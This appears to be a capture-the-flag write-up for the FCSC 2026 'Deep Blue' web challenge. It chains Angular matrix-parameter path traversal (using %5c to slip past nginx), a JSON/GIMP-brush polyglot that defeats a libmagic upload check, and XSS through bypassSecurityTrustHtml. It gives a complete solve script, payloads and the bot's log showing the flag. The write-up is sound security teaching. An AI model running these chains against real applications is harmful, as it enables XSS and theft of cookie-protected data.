Deep Blue [EN]| FCSC 2026
Deep Blue | FCSC 2026
Challenge
Discover this new marine life blog! Can you steal the author’s secret fish & chips recipe?
Dockerized web app serving an Angular blog about sea creatures. A Puppeteer bot sets an httpOnly FLAG cookie on the app’s domain, then visits a user-supplied URL. Every console.log from the bot’s browser gets forwarded back through the TCP connection.
The goal is to trigger XSS in the bot’s browser, use it to fetch the protected secret recipe endpoint (which needs the bot’s cookie), and exfiltrate the flag.
Architecture
Three services behind Docker Compose:
nginx (port 8000), reverse proxy with two location blocks and a CRLF filter:
map $request_uri $blocked_uri {
default 0;
~%09 1; ~%0d 1; ~%0a 1; ~%0D 1; ~%0A 1;
}
server {
if ($blocked_uri) { return 400; }
location / {
rewrite ^(.*)$ $request_uri break;
proxy_pass http://deep-blue-apache:80;
}
location /api/v1/image {
proxy_pass http://deep-blue-apache:80/php/image.php;
}
}
The location / block rewrites the URI to $request_uri (raw, unmodified client URI) before proxying. The location /api/v1/image block does a classic proxy_pass URI replacement.
Apache (PHP 8.2) serves the Angular SPA from /var/www/html with FallbackResource /index.html, and a PHP image upload/read endpoint accessible via Alias /php /var/www/php.
Bot (Puppeteer / Chromium 146) sets FLAG cookie (httpOnly: true, domain deep-blue-nginx), navigates to the user URL, waits 5 seconds. All console.log/console.error messages are relayed back over TCP.
PHP endpoint (image.php)
Two actions:
action=upload: accepts a file via multipart POST, validatesmime_content_type($tmpPath)starts withimage/, generates a UUIDv4 filename, saves to/fcsc/<uuid>.<ext>.action=read: reads a file from/fcsc/by name, serves it withContent-Disposition: attachmentand the detected MIME type. Special case forsecret-recipe.txt: requires aFLAGcookie matching the env var, returns JSON{"success":true,"content":"...recipe...","flag":"FCSC{...}"}.
Source code analysis
The XSS sink
In article.ts, the Angular component fetches article data as JSON and renders the content field as unsanitized HTML:
trustHtml(html: string): SafeHtml {
return this.sanitizer.bypassSecurityTrustHtml(html);
}
constructor() {
this.route.params.subscribe(params => {
const id = params['id'];
this.fetchArticle(id);
});
}
private fetchArticle(id: string): void {
this.http.get<ArticleData>(`/api/v3/blue/blog/articles/${id}.json`).subscribe({
next: (data) => { this.article.set(data); },
error: (err) => { this.error.set('Failed to load article'); }
});
}
@for (paragraph of article()!.content.split("\n\n"); track $index) {
<p [innerHTML]="trustHtml(paragraph)"></p>
}
bypassSecurityTrustHtml completely disables Angular’s built-in DOM sanitizer. Any HTML injected into the content field (<img onerror=...>, <svg onload=...>) executes as-is. That’s our XSS sink, but to reach it I need to control the JSON that Angular fetches.
The fetch URL | CSPT entry point
The route parameter id is interpolated without any validation into the fetch URL:
this.http.get<ArticleData>(`/api/v3/blue/blog/articles/${id}.json`)
Angular routes are defined as { path: 'article/:id', component: Article }. Normally id would be 1, 2, etc., and Angular fetches /api/v3/blue/blog/articles/1.json: a static JSON file on disk.
But if id contains path traversal sequences (../), the browser resolves them when constructing the fetch URL. This is Client-Side Path Traversal (CSPT) where the attacker controls a client-side path that gets concatenated into a fetch() URL, allowing redirection to an arbitrary same-origin endpoint.
The secret recipe gate
if ($filename === 'secret-recipe.txt') {
if (!isset($_COOKIE['FLAG']) || $_COOKIE['FLAG'] !== getenv('FLAG')) {
http_response_code(403);
echo json_encode(['error' => 'Forbidden']);
exit;
} else {
http_response_code(200);
header('Content-Disposition: attachment; filename="secret-recipe.txt"');
echo json_encode(['success' => true, 'content' => file_get_contents($filePath), 'flag' => getenv('FLAG')]);
exit;
}
}
[“smuggling”, “apache”, “gunicorn”, “ssrf”]
The Content-Disposition: attachment header would normally trigger a download. But Angular’s HttpClient uses XMLHttpRequest under the hood so XHR ignores Content-Disposition and processes the response body regardless. The httpOnly flag on the cookie prevents JavaScript from reading it via document.cookie, but same-origin XHR requests include it automatically.
The upload MIME gate
$mimeType = mime_content_type($tmpPath);
if (strpos($mimeType, 'image/') !== 0) {
http_response_code(400);
echo json_encode(['error' => 'Invalid file type. Only images are allowed.', 'detected' => $mimeType]);
exit;
}
mime_content_type() delegates to libmagic which is the same library behind the file command. It inspects the actual byte content of the uploaded file, ignoring the Content-Type header from the multipart request. Only files whose detected MIME starts with image/ pass through.
Vulnerability 1 | Client-Side Path Traversal via Angular matrix params
The problem
Angular supports matrix URL parameters, a lesser-known URL notation where parameters are separated by semicolons within a path segment:
/article/1;id=PAYLOAD
When Angular’s router parses this URL, it extracts id = PAYLOAD and the matrix parameter overrides the path segment value. The value is decoded with decodeURIComponent, so percent-encoded characters are resolved.
I can craft id to contain path traversal sequences. The fetch URL becomes:
/api/v3/blue/blog/articles/../../../../v1/image?action=read&filename=FILE#.json
The browser resolves the ../ sequences against the base path, and the #.json fragment is stripped (fragments are never sent to the server). The resulting request:
GET /api/v1/image?action=read&filename=FILE HTTP/1.1
This hits the PHP image endpoint instead of a static article JSON file.
The nginx roadblock
The initial page load (GET /article/1;id=...) goes through nginx before Angular even starts. If the traversal payload uses %2f (encoded /), nginx decodes it internally and normalizes the ../ sequences. When the resolved path escapes above root, nginx returns 400 Bad Request:
# Single ..%2f -> OK (resolves within root)
/article/..%2ftest -> 200 (nginx resolves to /test)
# Two ..%2f -> FAIL (escapes root)
/article/..%2f..%2ftest -> 400 Bad Request
I verified this by testing incrementally: one ..%2f passes, two or more trigger the 400.
The %5c bypass
Ok so here’s the key insight: nginx does not treat \ (backslash) as a path separator, so ..%5c is not recognized as a dot-dot-slash sequence. No normalization occurs, the request passes through as-is.
However, Chromium normalizes \ to / in URL paths (per the URL Living Standard). When Angular’s HttpClient later constructs the fetch URL using the decoded id value, the backslashes become forward slashes, and the browser resolves the ../ traversal normally.
The complete flow:
1. Bot navigates to:
/article/1;id=..%5c..%5c..%5c..%5c..%5capi%5cv1%5cimage%3faction%3dread%26filename%3dFILE%23
2. Angular decodes the matrix param:
id = "..\..\..\..\..\ api\v1\image?action=read&filename=FILE#"
3. Angular constructs fetch URL:
/api/v3/blue/blog/articles/..\..\..\..\..\api\v1\image?action=read&filename=FILE#.json
4. Chromium normalizes \ -> / and resolves ../:
/api/v1/image?action=read&filename=FILE
5. nginx matches location /api/v1/image -> proxies to image.php
I confirmed this locally by navigating Puppeteer to the crafted URL and checking that the Angular XHR request correctly reached the PHP endpoint.
Vulnerability 2 | JSON/GIMP-Brush polyglot
The CSPT lets me redirect Angular’s fetch to the PHP action=read endpoint, which serves a file from /fcsc/. Angular’s HttpClient (with default responseType: 'json') will try to JSON.parse the response body regardless of the Content-Type header. So if I upload a file that:
- Passes
mime_content_type()asimage/*(so the upload is accepted) - Is valid JSON with a
contentfield (so Angular can parse and render it)
…I get XSS through the bypassSecurityTrustHtml sink.
Dead ends
This is harder than it sounds. I tried a bunch of things.
Binary image headers + JSON by prepending GIF89a, PNG, JPEG, or TIFF magic bytes makes mime_content_type return the corresponding image type, but JSON.parse chokes on the binary prefix. JSON requires the very first character to be {, [, or whitespace.
SVG/XML prefix: SVG detection requires <svg at offset 0 (or <?xml followed by <svg). JSON must start with {. Mutually exclusive.
Embedding image magic inside JSON strings white files like {"GIF89a":1} or {"a":"<svg xmlns='...'>"} are detected as application/json regardless. libmagic’s JSON heuristic wins over weak magic patterns when the file is clearly structured JSON.
NULL bytes to suppress text detection by inserting \x00 bytes inside a JSON string makes libmagic classify the file as binary (suppressing JSON detection), and the GIMP pattern matches. But V8’s JSON.parse rejects raw control characters: "Bad control character in string literal in JSON at position 6".
UTF-8 multibyte characters, using \xC3\xA9 or rare 3-byte sequences in JSON string values… libmagic still classifies the file as application/json. It recognizes UTF-8 text.
Enumerating every image/* rule in libmagic
The idea behind a polyglot is to place the image magic bytes somewhere that doesn’t break the JSON. If a format’s magic is checked at offset 0, the first byte of the file is locked to a binary value and JSON is dead. But if the magic check happens at a non-zero offset, the bytes before it could be valid JSON syntax.
I started by dumping every image/* detection rule from the container’s libmagic:
docker exec deep-blue-deep-blue-apache-1 file --list 2>/dev/null | grep 'image/'
That gives ~80 rules, each with a strength and a line number. But I need the actual byte offset of the primary check, not just the strength. The file --list output doesn’t show that directly, so I also parsed the shared-mime-info magic database at /usr/share/mime/magic inside the container:
<?php
// list_offset_image_magic.php
// Parses /usr/share/mime/magic for image/* rules with primary offset > 1
$raw = file_get_contents('/usr/share/mime/magic');
$blocks = preg_split('/(?=\[)/', $raw);
foreach ($blocks as $block) {
if (!preg_match('#^\\[\\d+:image/([^\\]]+)\\]#', $block, $m)) continue;
$mime = 'image/' . $m[1];
// Each indented line is a match rule: >[offset:length]value
// Primary rules start at indent level 0 (no leading >)
foreach (explode("\n", $block) as $line) {
if (!preg_match('/^>(\\d+)=/', $line, $om)) continue;
$offset = (int)$om[1];
if ($offset > 1) {
// Extract the ASCII-safe portion of the expected value
$valHex = bin2hex(substr($line, strpos($line, '=') + 1, 16));
echo "$mime offset=$offset hex=$valHex\n";
}
}
}
Results (filtered to offset > 1):
| MIME | Offset | Expected bytes (hex) | ASCII |
|---|---|---|---|
image/avif |
4 | 66747970617669 |
ftypavi |
image/heif |
4 | 667479706d696631 |
ftypmif1 |
image/x-gimp-gbr |
20 | 47494d50 |
GIMP |
image/x-gimp-pat |
20 | 47504154 |
GPAT |
image/x-ilbm |
8 | 494c424d |
ILBM |
image/x-kodak-kdc |
242 | various | (binary) |
image/x-pict |
522 | 001101ff |
(binary) |
image/x-quicktime |
4 | 6d646174 |
mdat |
Formats with offset <= 1 (like GIF at 0, PNG at 0, JPEG at 0, BMP at 0, SVG at 0, TIFF at 0) are immediately out: the first byte must be their magic, which conflicts with {.
Testing every candidate with real JSON
Next step: for each remaining format, I placed the expected magic bytes at their required offset inside valid JSON structures and tested mime_content_type():
<?php
// fuzz_offset_polyglot.php
$rules = [
['image/avif', 4, "ftypavif"],
['image/avif', 4, "ftypavis"],
['image/heif', 4, "ftypmif1"],
['image/x-gimp-gbr', 20, "GIMP"],
['image/x-gimp-pat', 20, "GPAT"],
['image/x-ilbm', 8, "ILBM"],
['image/x-quicktime', 4, "mdat"],
];
// JSON shapes to test for each rule
function make_shapes(int $offset, string $magic): array {
$shapes = [];
// Shape 1: top-level JSON string -> "...MAGIC..."
// The opening " is at byte 0, so magic lands at offset inside the string
$pad = $offset - 1;
if ($pad >= 0) {
$shapes['json_string'] = '"' . str_repeat('A', $pad) . $magic . '"';
}
// Shape 2: JSON object value -> {"a":"...MAGIC..."}
// prefix {"a":" is 6 bytes, so pad = offset - 6
$pad = $offset - 6;
if ($pad >= 0) {
$shapes['obj_value'] = '{"a":"' . str_repeat('A', $pad) . $magic . '","content":"xss"}';
}
// Shape 3: JSON object key -> {"...MAGIC...":"v","content":"xss"}
// prefix {" is 2 bytes, so pad = offset - 2
$pad = $offset - 2;
if ($pad >= 0) {
$key = str_repeat('A', $pad) . $magic;
$shapes['obj_key'] = '{"' . $key . '":"v","content":"xss"}';
}
// Shape 4: with leading whitespace before {
// spaces push { forward, so magic offset in the value shifts
for ($ws = 1; $ws <= 4; $ws++) {
$pad = $offset - 6 - $ws;
if ($pad >= 0) {
$shapes["obj_ws$ws"] = str_repeat(' ', $ws) .
'{"a":"' . str_repeat('A', $pad) . $magic . '","content":"xss"}';
}
}
return $shapes;
}
$hits = 0;
$total = 0;
foreach ($rules as [$targetMime, $offset, $magic]) {
foreach (make_shapes($offset, $magic) as $shape => $content) {
$total++;
$f = tempnam('/tmp', 'poly');
file_put_contents($f, $content);
$detected = mime_content_type($f);
unlink($f);
$isTarget = ($detected === $targetMime);
$isImage = (strpos($detected, 'image/') === 0);
$validJson = (json_decode($content) !== null);
if ($isImage) {
$hits++;
$flag = $validJson ? 'JSON+IMG' : 'IMG_ONLY';
echo "[$flag] $shape detected=$detected target=$targetMime\n";
if ($validJson) echo " >>> CONTENT: " . substr($content, 0, 60) . "...\n";
}
}
}
echo "Image/* hits: $hits\n";
Output (trimmed):
[IMG_ONLY] json_string detected=image/avif target=image/avif
[IMG_ONLY] json_string detected=image/avif target=image/avif
[IMG_ONLY] json_string detected=image/heif target=image/heif
[IMG_ONLY] obj_value detected=image/x-gimp-gbr target=image/x-gimp-gbr
[IMG_ONLY] obj_key detected=image/x-gimp-gbr target=image/x-gimp-gbr
[IMG_ONLY] obj_value detected=image/x-gimp-pat target=image/x-gimp-pat
...
Image/* hits: 22
Several formats match the image/* detection. But every hit flagged IMG_ONLY (no JSON+IMG). The problem: when the file is a complete, well-formed JSON object, libmagic’s JSON heuristic detects application/json and overrides the weaker GIMP/AVIF rule. The image detection only wins when the JSON is broken (top-level string, missing closing brace, etc.).
The GIMP brush format (image/x-gimp-gbr, magic GIMP at offset 20) stood out as the most promising candidate: offset 20 gives enough room for the JSON prefix {"a":" (6 bytes) plus 14 bytes of padding, and the magic is a simple 4-byte ASCII string easy to place inside a JSON value.
The remaining question: how to make the file both a complete valid JSON object and not detected as JSON by libmagic.
Aligning the magic
A JSON object {"a":"...GIMP..."} can place GIMP at any offset inside the string value. With json.dumps(separators=(",",":")), the prefix {"a":" is exactly 6 bytes. Adding 14 characters of padding puts GIMP at offset 20:
offset 0-5 : {"a":" (6 bytes)
offset 6-19 : AAAAAAAAAAAAAA (14 bytes padding)
offset 20-23: GIMP (magic string)
offset 24+ : ...rest of JSON string value...
I tested this immediately:
$content = '{"a":"' . str_repeat("A", 14) . 'GIMP' . '","content":"xss"}';
// GIMP at offset 20
mime_content_type($f) -> "application/json" // JSON detection wins
JSON detection still won. libmagic has a text-analysis pass that recognizes valid JSON structure, and it takes priority over the weaker GIMP binary magic rule.
The libmagic 1 MB read limit
After a while I noticed something interesting about what makes libmagic detect JSON vs. not. Through systematic testing:
// Incomplete JSON -> GIMP wins
'{"a":1 GIMP...' -> image/x-gimp-gbr
// Complete JSON -> JSON detection wins
'{"a":1} GIMP...' -> application/json
libmagic’s JSON heuristic checks whether the file contains a complete JSON value (matching {...} or [...]). If it only sees an incomplete structure, it falls back to binary magic rules.
What if the JSON object is so large that libmagic never reaches the closing }?
I tested with increasingly large string values inside the JSON:
for pad in [100, 1000, 10000, 100000, 500000, 1000000, 1048576]:
obj = '{"a":"' + 'A'*14 + 'GIMP' + 'B'*pad + '","content":"xss"}'
# test mime_content_type...
| Padding | File size | Detection |
|---|---|---|
| 100 | 167 B | application/json |
| 10,000 | 10 KB | application/json |
| 100,000 | 100 KB | application/json |
| 500,000 | 500 KB | application/json |
| 1,000,000 | 1.0 MB | application/json |
| 1,048,510 | 1,048,577 B | image/x-gimp-gbr |
At exactly 1,048,577 bytes (1 MB + 1 byte), libmagic stops detecting JSON. The library has a built-in read limit of approximately 1 MB. Beyond that, it never sees the closing } and falls through to binary magic matching, where GIMP at offset 20 matches the GIMP brush rule.
I confirmed the exact threshold via binary search: 1,048,510 bytes of filler inside the JSON string.
The final polyglot
import json
obj = {
"a": "A" * 14 + "GIMP" + "B" * 1_048_520,
"content": '<img src=x onerror="...XSS...">',
"id": 1,
"title": "x",
"author": "x",
"date": "01/01/2025",
"image": None,
}
data = json.dumps(obj, separators=(",", ":"), ensure_ascii=True).encode()
assert data[20:24] == b"GIMP"
assert json.loads(data)["content"]
>>> len(data)
1048779
>>> data[20:24]
b'GIMP'
The file is simultaneously a valid GIMP brush file (as far as libmagic is concerned) which passes the upload image/* gate, and a valid JSON object with a content field that Angular parses and renders as XSS.
Full exploit chain
Step 1 | Generate and upload the polyglot
The XSS payload fetches the secret recipe endpoint (same-origin, so the bot’s httpOnly cookie gets included automatically), parses the JSON response, and logs the flag to console. The bot relays console output back to us over TCP.
xss = (
'<img src=x onerror="'
"fetch('/api/v1/image?action=read&filename=secret-recipe.txt')"
".then(r=>r.json())"
".then(d=>console.log(d.flag))"
'">'
)
Upload it:
curl -s -F "[email protected]" "https://deep-blue.fcsc.fr/api/v1/image?action=upload"
{"success":true,"filename":"a1b2c3d4-...-e5f6.bin","mime":"image/x-gimp-gbr"}
The extension is .bin because image/x-gimp-gbr is not in the PHP extension mapping (which only knows jpeg, png, gif, webp, svg, bmp, ico), so it defaults to bin.
Step 2 | Craft the CSPT URL
fname = "a1b2c3d4-...-e5f6.bin"
trav = "..%5c" * 5
target = f"api%5cv1%5cimage%3faction%3dread%26filename%3d{fname}%23"
url = f"http://deep-blue-nginx/article/1;id={trav}{target}"
Step 3 | Send to the bot
The bot navigates to the URL. nginx sees %5c (backslash), does not normalize, serves index.html. Angular boots, extracts the id matrix parameter, decodes it, and fetches:
GET /api/v1/image?action=read&filename=a1b2c3d4-...-e5f6.bin
The PHP endpoint reads the polyglot from /fcsc/, serves it with Content-Type: image/x-gimp-gbr and Content-Disposition: attachment. Angular’s XHR ignores both headers and feeds the body to JSON.parse which succeeds, returning a valid ArticleData object.
Angular renders the content field via bypassSecurityTrustHtml. The injected <img> tag fires its onerror handler, fetches the secret recipe with the bot’s cookie attached, and logs the flag to console.
Solve script
#!/usr/bin/env python3
import json
import socket
import sys
import time
import requests
import urllib.parse
TARGET = "https://deep-blue.fcsc.fr/"
BOT_HOST = "challenges.fcsc.fr"
BOT_PORT = 2253
def build_polyglot(xss_payload: str) -> bytes:
PAD = 14
FILL = 1_048_520
obj = {
"a": "A" * PAD + "GIMP" + "B" * FILL,
"content": xss_payload,
"id": 1,
"title": "x",
"author": "x",
"date": "01/01/2025",
"image": None,
}
data = json.dumps(obj, separators=(",", ":"), ensure_ascii=True).encode()
assert data[20:24] == b"GIMP"
return data
def upload(target: str, polyglot: bytes) -> str:
r = requests.post(
f"{target}/api/v1/image?action=upload",
files={"image": ("p.bin", polyglot, "application/octet-stream")}
)
d = r.json()
assert d.get("success"), f"Upload failed: {d}"
print(f"[+] Uploaded -> {d['filename']} (mime: {d['mime']})")
return d["filename"]
def build_url(filename: str) -> str:
traversal = "..%5c" * 5
target = (
f"api%5cv1%5cimage"
f"%3faction%3dread"
f"%26filename%3d{filename}"
f"%23"
)
return f"http://deep-blue-nginx/article/1;id={traversal}{target}"
def bot(host: str, port: int, url: str) -> str:
s = socket.create_connection((host, port), timeout=30)
buf = b""
while b"=====" not in buf or buf.count(b"=====") < 2:
chunk = s.recv(4096)
if not chunk:
break
buf += chunk
s.sendall(url.encode() + b"\n")
out = b""
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
out += chunk
except socket.timeout:
pass
s.close()
return out.decode(errors="replace")
xss = (
'<img src=x onerror="'
"fetch('/api/v1/image?action=read&filename=secret-recipe.txt')"
".then(r=>r.json())"
".then(d=>console.log(d.flag))"
'">'
)
polyglot = build_polyglot(xss)
filename = upload(TARGET, polyglot)
url = build_url(filename)
print(url)
print(bot(BOT_HOST, BOT_PORT, url))
==========
Tips: There is a small race window (~10ms) when a new tab is opened where console.log won't return output :(
==========
Starting the browser...
[T1]> New tab created!
[T1]> navigating | about:blank
Setting bot cookie...
Going to the user provided link...
[T1]> navigating | http://deep-blue-nginx/article/1;id=..%5c..%5c..%5c..%5c..%5capi%5cv1%5cimage%3faction%3dread%26filename%3d645c68fb-0c9a-47c0-9246-ef4e9a3555b3.bin%23
[T1]> navigating | http://deep-blue-nginx/article/1;id=..%5C..%5C..%5C..%5C..%5Capi%5Cv1%5Cimage%3Faction%3Dread&filename%3D645c68fb-0c9a-47c0-9246-ef4e9a3555b3.bin%23
[T1]> console.log | FCSC{cf501ba6e28b6a8050f1c58c6ff1ebd7f24fe04ab03a7e84c82eb7819a1842c5}
Leaving o/
[T1]> Tab closed!
Flag
FCSC{cf501ba6e28b6a8050f1c58c6ff1ebd7f24fe04ab03a7e84c82eb7819a1842c5}